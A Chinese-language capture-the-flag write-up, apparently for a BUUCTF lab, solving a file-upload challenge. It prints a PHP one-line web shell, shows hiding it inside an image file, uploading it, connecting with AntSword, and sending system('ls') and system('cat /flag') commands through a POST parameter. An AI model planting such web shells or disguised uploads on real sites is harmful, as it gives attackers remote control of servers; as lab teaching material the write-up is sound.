打开靶机,发现需要上传文件,尝试一句话木马+蚁剑链接
一句话木马
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
<?php @eval($_POST[cmd]); ?>
1、$_POST[cmd]
$_POST 是 PHP 中的一个超全局变量,我们在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
2、eval()
eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果,该函数对php语法要求严格,所传入语句必须以" ; "号结尾
3、"@"
符号"@"的作用是 屏蔽该语句的报错信息,也就是所即使该语句执行错误也不会显示报错信息。
1.做一个图片木马,并上传
文件上传漏洞,往目标网站中上传一句话木马。
文本方式.txt打开,末尾粘贴一句话木马
重命名为.jpg格式,并上传。
或者不用重命名,无论上传什么格式的文件,它都会自动转成.jpg
2.1蚁剑连接
显示文件储存路径
将URL 补充文件路径。
即为主机地址:
http://f6a0ffd5-293b-48b6-a827-739acaff6483.node5.buuoj.cn:81/index.php?file=uploads/6790a3e0610e4.jpg
下载蚁剑 (核心源码+加载器)
参考链接:蚁剑的安装
右键,选择添加数据
将URL复制粘贴,连接密码为木马的POST的中括号里的内容cmd
输入/flag,查找就得到了
2.2用POST方式
1.直接点Execute,得到文件的内容
选中Post data
是一个类似蚁剑等webshell管理工具的界面。
2.其中“Post data”区域勾选,输入框内代码为 cmd=system('ls'); 。
cmd=system('ls'); 代码含义:
- - cmd 是自定义参数名,用于传递命令内容。
- - system 是PHP函数,可执行外部系统命令。
- - ls 是Linux系统命令,用于列出当前目录下的文件和目录。
3.再输入cmd=system('cat/flag');
得flag